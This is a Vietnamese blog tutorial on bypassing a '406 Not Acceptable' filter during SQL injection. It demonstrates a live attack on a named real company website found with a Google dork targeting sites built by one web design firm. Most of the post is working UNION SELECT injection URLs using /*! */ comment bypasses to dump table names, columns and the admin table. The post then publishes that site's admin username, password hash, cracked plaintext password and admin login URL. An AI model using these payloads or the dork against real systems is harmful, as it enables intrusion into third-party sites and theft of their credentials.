Thứ Bảy, 30 tháng 3, 2013

SQLI - Bypass 406 Not Acceptable




      Trong các bài trước , Soleil đã giới thiệu các dạng attack cơ bản sử dụng phương pháp SQLI để chiếm quyền quản trị administrator: Khai thác đối với AspxKhai thác lỗi cơ bảnLỗi Jet. Tuy nhiên trong lúc khai thác, 1 số site đã chặn ở 1 vài querry sqli và không thể tiếp tục.
Hôm nay Soleil sẽ demo 1 dạng bypass “406 Not Acceptable” thông dụng thường gặp phải lúc khai thác đồng thời cũng pubic bug sqli đối với công ty thiết kế website “Viet Arrow”.

Google dork: Designed by Viet Arrow id=

Tất cả các website được thiết kế bởi Viet Arrow đều dính lỗi sqli, sau đây là 1 số ví dụ


Soleil sẽ chọn 1 victim bất kỳ để khai thác.

Trước khi vào bài này, có thể tham khảo qua bài 2 : Khai Thác Lỗi Cơ Bản

Bước 1: Check lỗi

Thêm dấu ‘ vào sau con số của đường link có dạng id=
 http://www.khaithong.com.vn/index.php?do=content&id=1
Nếu giao diện website thay đổi nghĩa là site đã bị dính lỗi sqli


Bước 2:  Tìm số trường cột

http://www.khaithong.com.vn/index.php?do=content&id=1 order by 6-- -     giao diện site bình thường
http://www.khaithong.com.vn/index.php?do=content&id=1 order by 7-- -     giao diện site thay đổi
Vì vậy, số trường cột là 6

Bước 3: Xác định vị trí trường cột bị lỗi


Đến đây nếu khai thác bình thường sẽ bị chặn lại và xuất hiện 406 Not Acceptable, 80% site bị lỗi này chúng ta có thể bypass thành công bằng cách thêm /*!  */ ở  ở query “select”,  “table_name”, “tables “  và “column_name”.



Ta thấy xuất hiện số 3, nghĩa nghĩa tại vị trí sô 3, trường cột bị lỗi. Vì thế ta sẽ khai thác tại vị trí này.

Lưu ý phải có dấu – sau con số 1 để xuất hiện vị trí trường cột bị lỗi hay còn gọi là số đẹp.




Bước 4: Xuất ra tên các tables trong database


http://www.khaithong.com.vn/index.php?do=content&id=-1  UNION /*!SELECT*/ 1,2,unhex(hex(group_concat(table_name))),4,5,6 from information_schema.tables where table_schema=database()-- -



Đến bước này cũng bị chặn và xuất hiện thông báo tương tự như trên, ta tiếp tục bypass bằng các thêm /*!  */ ở table_name và tables


http://www.khaithong.com.vn/index.php?do=content&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,unhex(hex(group_concat(/*!table_name*/))),4,5,6 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -

Thông tin các tables thu được: 
admin,baogia,category,danhmuc,news,page,products,tygia
               


Tables chứa thông tin về username và password là admin. Vì vậy ta sẽ tiếp tục khai thác tables này.

Bước 5: Xuất ra tên các colums chứa username và password

http://www.khaithong.com.vn/index.php?do=content&id=-1 UNION /*!SELECT*/ 1,2,unhex(hex(group_concat(/*!column_name*/))),4,5,6 from information_schema./*!columns*/ where /*!table_schema*/=database() and /*!table_name*/=0x61646d696e-- -

Thông tin các columns trong tables admin thu được:       
id,username,password,email

Lưu ý:    

     -          0x tạm hiểu là dùng để nhận dạng khi sử dụng ở dạng mã hex
     -         61646d696e là ký tự admin ở dạng hex.
     -          Link convert các ký tự sang mã hex:





Bước 6: Xuất ra thông tin của Username và Password

http://www.khaithong.com.vn/index.php?do=content&id=-1 UNION /*!SELECT*/ 1,2,unhex(hex(group_concat(username,0x2f,password))),4,5,6 from admin-- -

Thông tin về username và password được mã hóa md5 thu được:
khaithong/dee0266ac3ac3deb0e49a90e595afd64


Bước 7:  Crack Password và tìm link admin:

      -          Có nhiều site để crack passwd, ví dụ:
Hoặc sử dụng google để tìm kiếm
               
       -          Sử dụng các tool để tìm link admin: Havij, Web admin finder
Pass dải nén: ducdung.08clc

Thông tin thu đối với site trên:
Link admin: http://www.khaithong.com.vn/admin.php  ( Tất cả link admin của các site được thiết kể bởi Viet Arrow đều có dạng  http://victim.com/admin.php )
Username:  khaithong
Password  : kdung




 P/s:  - Trong quá trình khai thác lỗi sqli chúng ta sẽ gặp rất nhiều dạng mà bị chặn lại khi khai thác theo cách thông. Phương pháp trên là 1 dạng bypass khá cơ bản và phổ biến được gặp ở rất nhiều site khi khai thác, đó cũng chính là lý do mà soleil viết tut này. Tuy nhiên bên cạnh đó còn có  rất nhiều dạng bypass phức tạp khác nữa tùy thuộc vào mỗi site, các dạng bypass đó sẽ được soleil tổng hợp lại ở bài tut sau.

              -          Hiện nay tất cả các website được thiết kể bởi Viet Arrow đều dính lỗ hông sqli cực kỳ nghiêm trọng này. Đề  nghị bên công ty và các khách hàng của Viet Arrow fix lỗi sớm nhất có thể.



0 nhận xét:

Đăng nhận xét